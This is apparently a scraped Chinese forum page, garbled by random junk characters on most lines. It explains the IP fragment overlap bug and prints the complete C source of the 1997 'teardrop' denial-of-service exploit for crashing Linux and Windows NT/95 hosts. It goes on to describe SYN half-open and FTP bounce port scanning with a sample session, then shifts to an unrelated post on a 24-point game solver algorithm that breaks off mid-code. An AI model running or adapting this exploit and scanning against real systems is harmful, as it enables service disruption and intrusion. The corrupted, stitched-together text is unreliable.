* Z8 y/ ?5 @' e2 Uif (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)
0 R5 s' W2 w$ o; q# ~{
5 g1 v' f2 s! ^& H# Pi = prev-&gt;end - offset;
5 d% N0 B7 U4 g* Zoffset += i; /* ptr into datagram */8 P0 Y5 O! n/ [# T" Y
ptr += i; /* ptr into fragment data */1 z0 f3 p2 P5 U: V8 x: n8 \% i
}</P><P>/* Fill in the structure. */
! P* W. Q6 }4 ^fp-&gt;offset = offset;
0 a0 m2 V( v4 R0 q9 ^, Gfp-&gt;end = end;6 C0 R: S5 w) ~2 s' F/ D2 H! H4 K
fp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞:
# b6 r6 t$ v7 U2 U第一个碎片:mf=1 offset=0 payload=20
$ K7 n/ @( G. w* P& M1 ^敌二个碎片:mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20
% k; M/ s) x% @& l8 m5 [- O3 doffset=0$ O& a3 Y) B4 c* a9 m
这样第二个碎片的 end=9+10=192 d7 f) t4 g; X9 `4 U6 a
offset=offset+(20-offset)=20
$ h3 U- z1 b5 a4 Rfp-〉len=19-20=-1; </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>! y" R; P( D7 t$ k
/*& J! x( t3 n, F% _6 v8 e
* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.978 C+ p- m3 E0 @, A) f
*
( k3 o4 d4 m$ e0 r- i' O% |* Linux/NT/95 Overlap frag bug exploit
! g8 }' T& `' ~- x0 X*
- ^' q( V2 ]6 n, _  Q1 y% ?' ~* Exploits the overlapping IP fragment bug present in all Linux kernels and
( D6 `  O1 T9 s  `8 t6 D5 ~* NT 4.0 / Windows 95 (others?)
) [5 W( t/ `8 y5 x/ d*1 F3 T5 \* j8 z3 E) z' K# }4 h
* Based off of: flip.c by klepto
+ l! x& I5 b1 F2 d- a$ {1 O* Compiles on: Linux, *BSD** L' h0 w% o% l- Y+ u" Z
*  T4 H# Y4 ], N# Q! [/ u/ e3 g
* gcc -O2 teardrop.c -o teardrop1 ]9 Q9 n. K$ Z  g! b- r
* OR! g, n. N) w0 p3 U1 X: }5 h
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING  p& F" |8 G0 m: b
*/</P><P>#include <STDIO.H>4 }$ p0 i% ^! d4 X; d% m
#include <STDLIB.H>
/ g4 J9 T) |! A#include <UNISTD.H>
5 z' C, @; B; W* y#include <STRING.H>- Q3 s# E9 C( L0 G3 q
#include <NETDB.H>. N1 D% F9 V/ U+ f1 L8 X5 Y
#include <NETINET in.h>; D) h" e: \& e) W
#include <NETINET udp.h>
7 b% K/ q+ ]( V7 _$ v! t#include <ARPA inet.h>
7 t, m2 L" T5 w3 r) m#include <SYS types.h>' ^2 Y' S( p# A- X' F+ R3 B
#include <SYS time.h>
& I0 V0 ~, B( u8 A; Y#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING5 v8 s. X+ N+ J
/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 *// O0 g; y! |& ^7 T
#define FIX(n) (n); ?4 G& S* |+ r) c* Q' K6 s
#else /* OpenBSD 2.1, all Linux */6 l% U' X0 r6 B+ L9 |4 w0 v' ]
#define FIX(n) htons(n)4 b* s4 o/ I- Q$ ^( A5 }
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */- z& T4 u* H5 R" l- `# b
#define IPH 0x14 /* IP header size */
( }/ V+ X' S* P5 s' t7 G#define UDPH 0x8 /* UDP header size */2 B3 v( B! n& \3 f2 t6 y' {6 ~7 f
#define PADDING 0x1c /* datagram frame padding for first packet */, t; P0 R% p' I( B, m7 }
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
% w( f( ]/ h5 d#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can4 C+ z: _4 e* ~) q9 S2 W
* withstand maybe 5 or 10 sometimes... Experiment.
" K/ A9 y% R6 U1 F2 q3 W*/</P><P>void usage(u_char *);
2 Y; o9 I  h1 j$ _u_long name_resolve(u_char *);) y1 V( F* v3 D
u_short in_cksum(u_short *, int);+ u7 \( [& }2 c: ~
void send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv), \; m& c2 |+ {& `; i
{
' A) V/ h' M, G$ @0 t: Aint one = 1,
/ K. ^- B' m) _2 M$ l/ E% Hcount = 0,
, f7 ]3 M$ P; e9 i9 \; \i,
5 L4 b" g7 a1 _# U4 s( B: grip_sock;( F9 q0 q+ r7 {; j0 a
u_long src_ip = 0, dst_ip = 0;. g8 Q: q$ U8 p, y1 I: ^/ [, a' v
u_short src_prt = 0, dst_prt = 0;
3 r( Y2 D6 r6 L- [8 d6 w0 jstruct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW
3 C$ H& M! B: bif((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)6 t; B6 i" z+ i7 O
{
- Y; @. X  S, k' o2 \0 tperror("raw socket");' ^# f4 I+ ]- G4 D; g( a$ @4 H
exit(1);6 a6 {: }9 v9 p/ W0 t
}4 J, L  w6 C: g; z' {8 I7 V( e) d: S
//由系统处理IP校验和。
7 \. N3 o+ G5 r. ]5 q6 Xif (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))
' O. ]+ \" n6 {; t: v% H&lt; 0)
7 P5 X& F/ y" f' J+ ]6 G{3 z8 q' G, e- y
perror("IP_HDRINCL");6 d8 X( M% Z4 E9 a! a( o; V+ s
exit(1);
% q" U) r! G, F0 r}</P><P>if (argc &lt; 3) usage(argv[0]);' A+ I. ^0 {; u1 n+ `2 z% O
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))) w! y  [# y$ @! r( O
{7 |# z5 O% D, }( {
fprintf(stderr, "What the hell kind of IP address is that?\n");
& n' m# u3 r. G/ i3 q- L# ^exit(1);
  Q' m% \3 @5 h2 i}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
& A) s3 _2 l8 g/ E{
7 N0 H) u- L: n( ^8 Y8 `switch (i)
$ d! h7 B# D$ u" O{
2 Z8 r1 S7 Q& Ycase 's': /* source port (should be emphemeral) */! t* D5 Z* g, q/ a, {& t, g4 f
src_prt = (u_short)atoi(optarg);2 v7 y  _7 g8 _9 C! I: W. l7 k( L
break;% G. _# w- ]% E+ x7 V
case 't': /* dest port (DNS, anyone?) */- h! i6 q% C: B
dst_prt = (u_short)atoi(optarg);
5 r' V. K# S# y, W* Z" E& Fbreak;& I6 a, v; [: f/ j
case 'n': /* number to send */
1 \* h6 v3 Y+ l9 Ccount = atoi(optarg);
' [9 e+ Q$ G4 K7 _! O, xbreak;! ~  D- G5 G0 M. h% A
default :! S" @1 o/ u) t- {0 Q& _1 K
usage(argv[0]);
5 d) a* I4 M/ W) w: R, Rbreak; /* NOTREACHED */" e# d3 m# t- {4 ]5 p' D3 e
}
# o2 i6 g0 I/ b6 s& f9 Z1 p2 I( K+ \}</P><P>srandom((unsigned)(time((time_t)0)));2 l5 j% _1 E" Y
if (!src_prt) src_prt = (random() % 0xffff);( W4 A* h" H2 y. X
if (!dst_prt) dst_prt = (random() % 0xffff);
/ Q) Q% e' ]/ W9 X! d+ gif (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");( F1 Z) g. u+ a6 h3 [% x# N8 t1 z7 N
addr.s_addr = src_ip;
6 z8 ~  g' E0 ?7 x; P# L( i. F( efprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);( [9 N6 U' [, `# U( c/ V: |5 H( ]
addr.s_addr = dst_ip;/ s4 y6 B" i& k: Y& e# E4 p. [
fprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);
' l% D& d# S* g, M# `; J+ h/ jfprintf(stderr, " Amt: %5d\n", count);: d( C7 X; W) n, I
fprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++)1 W7 i% X9 F% q
{
8 r- Y! @( ~6 s# q. ysend_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);' U" w" s1 j  B8 m
fprintf(stderr, "b00m ");2 ^9 s9 a0 z+ _2 @& T/ u+ W/ w
usleep(500);0 K) T& p2 E8 Q. `0 Q* [& Y* b
}
) {. ]( F8 A+ C1 q3 e& Rfprintf(stderr, "]\n");* G0 f9 _, a4 j" }
return (0);4 e1 o+ f+ K& \' c+ u9 B
}</P><P>/*
! t, e9 S3 @% J, T, Z: M1 J5 R* Send two IP fragments with pathological offsets. We use an implementation
  g) {$ a. u* ^# r9 t6 u* independent way of assembling network packets that does not rely on any of
2 y' G/ w/ P  x' ]* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
# [5 K# Y% P& a9 U/ f*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
5 x2 U- D3 J# v0 v  J, Qu_short dst_prt)7 F1 R1 ~9 \, S+ \' G$ i
{: q( G( `( e, j: B1 f/ y
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */! a" i8 m! U) D- B5 j/ T$ q
u_char byte; /* a byte */3 V1 z- X2 [  t9 S7 E5 K* @% E' \
struct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;, F: o$ C5 L4 X- l  U
sin.sin_port = src_prt;+ T3 x& n/ L1 J, j6 e3 \
sin.sin_addr.s_addr = dst_ip;</P><P>/*" [! ?- _7 X- I
* Grab some memory for our packet, align p_ptr to point at the beginning
# C. J5 w& n" B9 P; f8 H* W5 _* of our packet, and then fill it with zeros.
; U% o0 V/ _4 p  p! d; F*/4 M9 P& H8 d7 N* C
packet = (u_char *)malloc(IPH + UDPH + PADDING);
) }4 A1 D' n: y! I' A, X8 k* Qp_ptr = packet;" ]# X2 s4 W% p3 P- R- ~
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */
) |' {1 b7 \9 Q- v3 W# n& Pmemcpy(p_ptr, &amp;byte, sizeof(u_char));
) Z/ B2 S! r# f( Ap_ptr += 2; /* IP TOS (skipped) */5 q+ ?6 [& b6 f' t
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
8 D" W4 T( H3 D: k3 K7 d% Qp_ptr += 2;6 o. ^& }* O9 S9 ?8 Q$ r
*((u_short *)p_ptr) = htons(242); /* IP id */$ o9 j9 ?' K9 s, w* l
p_ptr += 2;
  V8 l6 Z, Q- c. S*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
- ]* N. h9 o" B' a5 ]p_ptr += 2;
2 e8 K& i' e+ F7 a*((u_short *)p_ptr) = 0x40; /* IP TTL */* Z& N& l) g" Q. d% e" }; K
byte = IPPROTO_UDP;( ]( K  F5 I. B5 J) i+ v- J# q
memcpy(p_ptr + 1, &amp;byte, sizeof(u_char));
- ?) K' m0 j) dp_ptr += 4; /* IP checksum filled in by kernel */6 ]# N$ V6 V5 U. o
*((u_long *)p_ptr) = src_ip; /* IP source address */
6 x4 p" g/ r# vp_ptr += 4;# s: @, y  W( M: s
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
: w) A3 L( O9 H( q: gp_ptr += 4;2 Z$ E* K: `0 {0 _- ~7 V) W' X2 q
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */# {% G( J" v4 k$ a: ~
p_ptr += 2;
5 q# k1 t; I' t% `" q*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
! W: |+ A+ _8 |' zp_ptr += 2;: P, `( [7 z! |% N& U
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,2 e8 ?+ e5 _3 I) k8 j
sizeof(struct sockaddr)) == -1)# |: L$ P" E$ H' s: e* c( K
{
2 t2 k" h% e' r/ X2 E7 s5 i2 vperror("\nsendto");
+ P# Y! p: Q$ C: K1 q* ?% Ifree(packet);
& v0 n* Q1 `6 q; f8 p# texit(1);
2 [8 K& b; K: f" p}</P><P>/* We set the fragment offset to be inside of the previous packet's
4 d: E- c/ q/ y: m( s* payload (it overlaps inside the previous packet) but do not include4 }6 y5 m1 b. Y; }# M
* enough payload to cover complete the datagram. Just the header will/ p+ J) g5 E/ }
* do, but to crash NT/95 machines, a bit larger of packet seems to work
! b0 T; S8 b! _0 I; c  Z* better.
# `4 A$ m, s9 I*/( {6 D; h$ R. |6 P4 i. K3 w/ G
p_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */
- P. i: y) z  G2 {! e% V! R*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
, R4 d+ l% A  N8 E4 w& ]7 Yp_ptr += 4; /* IP offset is 6 bytes into the header */4 }2 z4 b. e9 `7 _. \, b" \
*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,3 @- E5 l6 e+ a' |0 \  a+ }- _
sizeof(struct sockaddr)) == -1)
# Q( t. k8 P9 t4 K$ o( d/ f{. A& o( I& e  i
perror("\nsendto");
/ r9 j: ?5 v' f# nfree(packet);8 H; b6 o# F1 ]5 v4 N3 q9 K6 s
exit(1);" ~; ^8 o' e! G* E6 o0 T$ J: B
}
: E: }3 }. ]/ c$ ^$ y( f3 Ffree(packet);% ]2 q5 Z4 q: y( b+ m
}</P><P>u_long name_resolve(u_char *host_name)
+ Y1 l5 r. X/ a( P{0 Y6 n- @8 W% S# q; u! O
struct in_addr addr;. t7 w, O, |8 ~7 n) r$ }/ W
struct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)1 Y7 `8 J0 \2 S
{: G% Q. J! V$ x: }% z8 n
if (!(host_ent = gethostbyname(host_name))) return (0);
. r8 q* Q# c7 W" y7 ~2 y0 Pbcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);
- V) j; K9 ?3 s" S9 @. Y* P}
  u+ H4 \5 a6 A5 J  Greturn (addr.s_addr);
% U8 R3 r7 r! u- A" ~}</P><P>void usage(u_char *name)
0 w; G4 L. T, M4 t; L0 X8 @. D/ d{
1 s4 ]2 G7 p' Q5 ]+ O' c2 Dfprintf(stderr,( ?0 C6 \  B( F/ u
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",  I3 l' E# \5 |3 C$ y; b, o$ w' Y
name);  o6 ^* G& `# t$ [- {( b6 u8 ~8 C+ _
exit(0);
: ^* c* u1 [/ P$ s5 q6 M& `% q! ]}</P><P>  d' f4 v" b; f+ C7 _
4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法:
, m5 J& J- a' E(1) Half-open(半打开)! C( M+ y3 f5 S- N
利用下面特性:但一个主机收到向某个端口(TCP)发出的(SYN),
& w. F( O, x5 J, t; n6 }4 u如果在这个端口有服务,那么返回(SYN+ASK),不然返回(RST)。</P><P>(2) FTP scanner1 w2 ^, k/ n' }5 I6 A
利用了FTP的port命令,例如可以这样作:
) E" A) C1 r1 H" O) }选择一个FTP服务器,连上后令port命令指向目标机,如果返回
6 |5 B( ^  G, F( x% r8 {值是正确的,那么目标机的该端口是有服务的,如返回打开端口错误则( p3 \$ P/ k5 a$ q
该端口无服务。
( H: o0 I, J8 b' Q7 Ctelnet 192.168.1.13 21
# X# Z+ x: @& \0 }! b' QTrying 192.168.1.13...
) Z  j' \9 X8 {6 Y( QConnected to pp.bricks.org.
3 ?; D" ], \, ~2 j- i6 {Escape character is '^]'.# r+ ?& R0 z' P* Y& z* [
220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1) ; y1 K* {# F  T1 l% Q& z  R
Thu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous
! I3 F- H, w, P/ z331 Guest login ok, send your complete e-mail address as password.
- G( @  a5 G! V. jpass aa@aa.aa
$ F7 _. Z; w7 X+ M+ r230 Guest login ok, access restrictions apply.3 X6 D+ O9 ^% a6 h3 J5 P8 i5 S
port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.
; q5 u, l& Y) u) x" i- L% R425 Can't build data connection: Connection refused.
! Y5 e6 L& l: P$ Y3 z//该端口未活动 7 t- V+ Q& ^, L' Q& t, Z5 s
150 Opening ASCII mode data connection for file list.7 m+ }& H& b3 m4 M6 h! v" ~& ?
226 Transfer complete.
2 S6 I2 W  v1 r- k2 C//该端口活动中
' t; M9 @- J7 r0 r但有些FTP服务器禁止你将数据连接影响其他地址,那就没办法了。</P><P>上述两种方法是通用的,而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理:</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing8 u& z3 q+ }  ?- e
SYN|FIN ACK or SYN|ACK* RST# y/ L: B1 u0 P! g; d% f+ R
ACK Nothing RST
8 r5 L. X% p8 _, Q# v9 J$ R7 m0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport
1 d2 L% L2 O% m' Z: ^: w# N' |一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读,
$ i, M, O& M1 k4 B. ]2 ?$ }若发现一个主机不停的象你发送(SYN)包,却没有完成连结,可以认& R$ }, C$ k2 b9 f" }& I: N, C5 M
定它在向你做portscan。</P><P>notes:
/ F5 F7 U. L6 k/ {早期的portscan程序是老老实实的向你一个一个端口连(完成三次握手),
% ^% ?& ~) D. v4 `: f0 |& x而一些antiscan是在一个平时不用的端口上起一个服务器,并认为连上来的
( D/ r2 Z% N4 ?7 x1 J都是向它scan。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>8 Q) B* p$ U: J
  漫长的假期对于我来说总是枯燥无味的,闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单,就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目,这不,我们刚玩了一会儿,便遇到了一个难题——3、6、6、10(其实后来想想,这也不算是个太难的题,只是当时我们的脑筋都没有转弯而已,呵呵)。' G' g$ H7 B; c/ t/ s- ?5 Y

' q0 k) f) m- o  问题既然出现了,我们当然要解决。冥思苦想之际,我的脑中掠过一丝念头——何不编个程序来解决这个问题呢?文曲星中不就有这样的程序吗?所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法,最先想到的自然是穷举法(后来发现我再也想不到更好的方法了,悲哀呀,呵呵),因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举,不就可以利用这个计算程序来完成这个计算二十四点的程序吗?确定了这个思路之后,我开始想这个问题的细节。   @/ h3 v7 h- B5 I; Z  {* h7 J
首先穷举的可行性问题。我把表达式如下分成三类——+ R4 \6 \/ P- \
<FONT color=#ff0000>1、 无括号的简单表达式。$ B( F5 K4 P4 I- O! F. Y2 \
2、 有一个括号的简单表达式。
6 ^- {: t% V, I3 |: m3、 有两个括号的较复4、 杂表达式。
6 H  ]# J: ], k  G</FONT>穷举的开始我对给出的四个数进行排列,其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列,算法如下:1 r% n( ?( H. I4 P. S6 A# Q/ ^
<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */. P" t: z) s5 E; V. L! i
/* c[] 存放四张牌的数组 */' @* I( ^8 ~$ E) ]4 f+ ]& Z
/* k[] c[]种四张牌的代号,其中k[I]=I+1。
' ^. T, s' D; T7 e# y8 t用它来代替c[]做处理,考虑到c[]中有可能出现相同数的情况 */* E( K6 g2 N0 \7 [: l4 l# {  V
/* kans[] 暂存生成的排列组合 */
6 S; j! X  w, U1 `4 o/* j 嵌套循环的次数 */& v+ }  I  M5 g, @. N
int fans(c,k,ans,kans,j)
8 G8 ~2 w" k# U$ R" g+ Aint j,k[],c[];char ans[],kans[];8 l$ \( z( G9 O! W) L- r4 g
{ int i,p,q,r,h,flag,s[4],t[4][4];
0 B' v% U" X* ]! ]: }% nfor(p=0,q=0;p&lt;4;p++)
! U, y- q* I3 o& y9 S{ for(r=0,flag=0;r<J;R++)
" h( _. H- Q# f. F1 `. ?2 U if(k[p]!=kans[r]) flag++;% O& s: l( ~  A0 h# f0 f5 B- Z
if(flag==j) t[j][q++]=k[p];* z5 O" H2 e1 y. ]3 q0 Q5 t
}! `1 V, F: ^8 q; _
for(s[j]=0;s[j]&lt;4-j;s[j]++)
& t+ V. f. ]3 {{ kans[j]=t[j][s[j]];6 v4 A, Z2 H1 @& d9 K6 S$ M. ?8 v+ A
if(j==3) { for(h=0;h&lt;4;h++)# w9 j& k4 _# L. M7 B
ans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表
( Y: b+ v: K% S达式中的位置 */
" V, Z8 K5 [2 `5 Jfor(h=0;h&lt;3;h++)
7 `, C( u" ]( c4 k7 `/ Bsymbol(ans,h); /* 在表达式中添加运算符号 */- H# o& @' S3 L
}, w* P7 ?( t$ l5 d& t
else { j++;% j6 d( L* _, o, n' i7 H) R
fans(c,k,ans,kans,j);
$ C6 J* t2 ^3 `# a  W& m# wj--;
4 I7 K" O1 |' q! V}/ \+ Q, r7 t" D4 V8 X
}5 ]( V8 `% V9 ?# R4 z
}</FONT>5 w0 P1 c8 S% j5 d8 z
/ K3 ]# l, w7 L- Q! A
  正如上面函数中提到的,在完成四张牌的排列之后,在表达式中添加运算符号。由于只有四张牌,所以只要添加三个运算符号就可以了。由于每一个运算符号可重复,所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举,算法如下:
* H( }" N; J* u& K( U2 @/ x& s; l
<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/
2 o' v" e: f9 b# M  G+ T% nint sans(ans,sy,j,h)
: i' u/ }' n2 U0 A; v$ Q7 Echar ans[],sy[];int j,h;5 U2 S& }3 Q- K& u! y! j% Y; \
{ int i,p,k[3],m,n; char ktans[20];
) J6 ~1 y- x% L0 |- C8 kfor(k[j]=0;k[j]&lt;4;k[j]++)
. s; C) S$ Q: B  T{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位
& T1 r8 X$ [2 m+ Z这里的三个运算符号分别存放在1、3、5位*/ 1 X* t8 h5 G& Y5 X- j3 y
if(j==2)
  B1 p1 t* N% ^9 P{ ans[5]=sy[k[j]];
/ G( \+ ~8 K* @! l! q+ B5 q/* 此处根据不同的表达式形式再进行相应的处理 */
6 J+ L! q9 l6 S+ W. K}* _9 v4 s7 N. k4 E* o/ K0 w
else { j++; sans(ans,sy,j--,h); }
: f) G8 A2 V* l}
6 x9 }( j9 W3 a# u# [}
  x, }3 y6 y- _  g! v$ Q+ C" i# n' b' f5 ]( o
</FONT>  好了,接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类,是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种,无括号自然不用另行处理;而第二种情况由以下代码可以得出其可能性有六种,其中还有一种是多余的。
4 q! n* ]' C4 W& E: C! T3 O: Kfor(m=0;m&lt;=4;m+=2)& A2 z1 v( a3 }9 r
for(n=m+4;n&lt;=8;n+=2)
, Z' t, V7 i3 i, I# A  这个for循环给出了添加一个括号的可能性的种数,其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0,n=8,也就是放在表达式的两端。这真是多此一举,呵呵!最后一种情况是添加两个括号,我分析了一下,发现只可能是这种形式才不会是重复的——(a b)(c d)。为什么不会出现嵌套括号的情况呢?因为如果是嵌套括号,那么外面的括号肯定是包含三个数字的(四个没有必要),也就是说这个括号里面包含了两个运算符号,而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的,则肯定可以通过一些转换去掉括号(你不妨举一些例子来试试),也就是说这一个括号没有必要;如果这两个运算符号不是同一优先级,也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高,自然就没有必要在它的外面添加括号了。; c  y- |5 j% e# j
+ }, y: g: `$ c8 c6 \4 a5 [  A
  综上所述,所有可能的表达式的种数为24*64*(1+6+1)=12288种。哈哈,只有一万多种可能性(这其中还有重复),这对于电脑来说可是小case哟!所以,对于穷举的可行性分析和实现也就完成了。
: R  `$ O0 r. M: t</P>< align=left>  接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用,那么什么是栈呢?栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的,即最后存放入栈的货物(堆在靠出口处)先被提取出去,符合“先进后出,后进先出”的原则。这种结构犹如子弹夹。
5 R5 h/ {% n0 _在栈中,元素的插入称为压入(push)或入栈,元素的删除称为弹出(pop)或退栈。2 @  @8 z& ?! h. U; ~1 H5 w
7 I# h% e( `, S
  栈的基本运算有三种,其中包括入栈运算、退栈运算以及读栈顶元素,这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。
  K7 f1 T: T! L3 ]4 ?2 g
, @- k& d5 ~( v. F. z! [  那么作为栈的著名应用,表达式的计算可以有两种方法。
" i7 W$ ]  D; ?! s& S# l, l5 T& ^/ m  K- ^" M" ?2 r2 N
  <FONT color=#ff0000>第一种方法——</FONT>  ?; T9 ?5 e8 d8 l5 O
  首先建立两个栈,操作数栈OVS和运算符栈OPS。其中,操作数栈用来记忆表达式中的操作数,其栈顶指针为topv,初始时为空,即topv=0;运算符栈用来记忆表达式中的运算符,其栈顶指针为topp,初始时,栈中只有一个表达式结束符,即topp=1,且OPS(1)=‘;’。此处的‘;’即表达式结束符。
, ]/ t( k  q, B  D. P  然后自左至右的扫描待处理的表达式,并假设当前扫描到的符号为W,根据不同的符号W做如下不同的处理:
" }6 q" \- U6 {0 F$ `! j5 W1、 若W为操作数
* C& c2 ^1 ]" }$ C2 s8 ]. f3 Q2、 则将W压入操作数栈OVS
4 o: S* q4 ~1 G( v' z3、 且继续扫描下一个字符( ^+ O. R( ~2 \! i% b" O
4、 若W为运算符) P/ E4 V1 [5 k  @. ~
5、 则根据运算符的性质做相应的处理:  x5 {5 M- f( C
(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS,并继续扫描下一个字符。) b* c: A+ z/ m1 N5 ?; R
(2)、若运算符W为表达式结束符‘;’且运算符栈栈顶的运算符也为表达式结束符(即OPS(topp)=’;’),则处理过程结束,此时,操作数栈栈顶元素(即OVS(topv))即为表达式的值。! q6 {/ h' f; B* n) B
(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号(即OPS(topp)=’(‘),则将左括号从运算符栈谈出,且继续扫描下一个符号。
; I) E( S9 L& Q1 C4 @4 [(4)、若运算符的右不大于运算符栈栈顶的运算符(即OPS(topp)),则从操作数栈OVS中弹出两个操作数,设先后弹出的操作数为a、b,再从运算符栈OPS中弹出一个运算符,设为+,然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。+ Y: m0 O. K5 W* k' ]& G

6 J  N7 L) a8 o& ]* r2 D<FONT color=#ff0000>  第二种方法——</FONT>' |; y/ P* w* I) j" `+ O
  首先对表达式进行线性化,然后将线性表达式转换成机器指令序列以便进行求值。
9 v$ U( W" \2 u, [" h9 |. |5 [8 m; t3 a
  那么什么是表达式的线性化呢?人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式,有时必须借助括号才能将运算顺序表达清楚,而且处理也比较复杂。  r2 c- [( t% {9 X, L

) h% G. y) M2 q4 o$ {   1929年,波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系,后来人们称之为波兰表示法(Polish notation)。波兰表达式的特点是运算符位于运算对象的后面,因此称为后缀表示。在对波兰表达式进行运算,严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。
$ l6 X6 Z3 b/ K: g4 Y3 d表达式 波兰表达式
& @2 n- X* l6 f) g& G2 {' MA-B AB-
1 r3 n' M, V% V  B0 {1 m# M+ U0 y(A-B)*C+D AB-C*D+
% J' P. |3 l$ AA*(B+C/D)-E*F ABCD/+*EF*-! H  V% W+ z) m( U) h' V/ p9 V
(B+C)/(A-D) BC+AD-/, h! K7 `# Y- r$ {8 O' E' c) G
! V; ]3 J7 t2 x' l" i$ Q4 A
  OK,所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式,利用栈可以把表达式变换成波兰表达式,也可以利用栈来计算波兰表达式的值。; b3 \3 J- n- ?& {; S( }
) [4 P# z  h6 y& O
  至于转换和计算的过程和第一种方法大同小异,这里就不再赘述了。
% ?( O  p+ R/ h+ z# S
& J4 x" c9 v5 c7 q, Y: }  下面给出转换和计算的具体实现程序——
4 ]* T: k' r6 i8 y, C# {; i- B/ E$ k" T
<FONT color=#009900>/* first函数给出各个运算符的优先级,其中=为表达式结束符 */
. [1 m" B% r9 Q" |int first(char c)- S6 l+ r$ A: p/ m/ I& I( i3 z# T4 \
{ int p;
4 {5 o7 j2 I2 ]0 Z" sswitch(c)' G0 O6 V/ n3 |$ Z7 o
{ case '*': p=2; break;
3 R+ \0 B- o2 _) [5 z1 Fcase '/': p=2; break;
, g4 Q/ W: J# d# {6 bcase '+': p=1; break;
